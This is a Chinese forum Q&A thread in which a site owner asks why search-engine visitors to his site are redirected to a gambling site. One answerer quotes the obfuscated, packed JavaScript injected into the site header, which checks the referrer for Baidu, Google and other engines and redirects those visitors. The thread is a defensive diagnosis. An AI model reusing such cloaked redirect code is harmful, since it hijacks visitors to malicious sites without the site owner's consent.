地址栏输入域名:ww.pmymj.com 能正常打开网站,但是在百度等其它平台点击www.pmymj.com这个网址确实先进入www.pmymj.com这个地址,然后迅速跳转到另外一个博彩站的地址,这种情况是属于DNS劫持还是网站被镜像了呢?还是说两种都不是,是其它情况
首先我也不是太懂这个,但是按你说的这个的话,确实那两种都不是,这个应该是搜索引擎劫持,就是不知道你说的百度等其它平台指的是搜索引擎还是什么,然后就是我今天也遇到了一个在搜狗的,然后是一个大流量的词应该是被劫持了,到不健康网站了,被我举报了。
没看到你的追加,然后你说的百度快照那里点击也会跳的话,那就应该是跳转劫持,这种情况一般都是一段JS代码的事。而且是全局的js,等会我去你网站看看~
我看到了在你网站的头部有这样一段代码:
<script src=""></script>这是一个js
然后里面是这些:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('("<6 h=\\\'i:f\\\'><4 g=\\\'5\\\' l=\\\'m/5\\\' j=\\\'//\\\'></4></6>");("<4 c=\\\'d\\\'>");("a s=");("z((\\\'A\\\')>0 || (\\\'x\\\')>0 || (\\\'y\\\')>0 ||(\\\'B\\\')>0 ||(\\\'C\\\')>0 ||(\\\'D\\\')>0 ||(\\\'w\\\')>0 ||(\\\'p\\\')>0 ||(\\\'o\\\')>0)");("\\\'v://\\\';");("</4>");("");("");',40,40,'|document|indexOf|writeln|script|javascript|div|js|la|19354119|var|referrer|LANGUAGE|Javascript|51|none|language|style|display|src|users|type|text|location|google|so|href|RY3xl3P|||cn|http|yahoo|sogou|soso|if|baidu|sm|uc|bing'.split('|'),0,{}))
里面是什么自己体会吧~~大概就是指定了一些跳转来源,然后再跳转到指定网站~
###不是DNS劫持也不是快照什么的劫持,而是网站被入侵拿站了。也有可能是被XSS注入了。这个审查下代码吧,看看是否有注入漏洞,另外,备份下网站数据,重装下服务器或者重置下空间密码比较好一些。
###如果搞不清楚两者之间具体的区别,就用检查一下就可以确定了。
IIS7网站监控
检测网站是否被劫持、域名是否被墙、DNS污染检测、网站打开速度检测、网站是否被黑、被入侵、被改标题、被挂黑等信息。
首先搜索IIS7站长之家,点击进入官网,在首页上如图点击“网站监控”进入;
然后输入自己的网站,选择查询的程度,然后点击查询;
过一会儿之后就可以得到自己网站的监控报告了。
###
但是看了你网站都正常,没有什么异样,你这网站才刚收录应该是新站把
###你在百度是搜索什么关键词,这个情况我之前遇到过。
###网站被黑了,就是从百度点击就会让你跳转到他的网站,可以找人帮忙处理一下。
本文来自投稿,不代表微盟圈立场,如若转载,请注明出处:https://www.vm7.com/a/ask/80707.html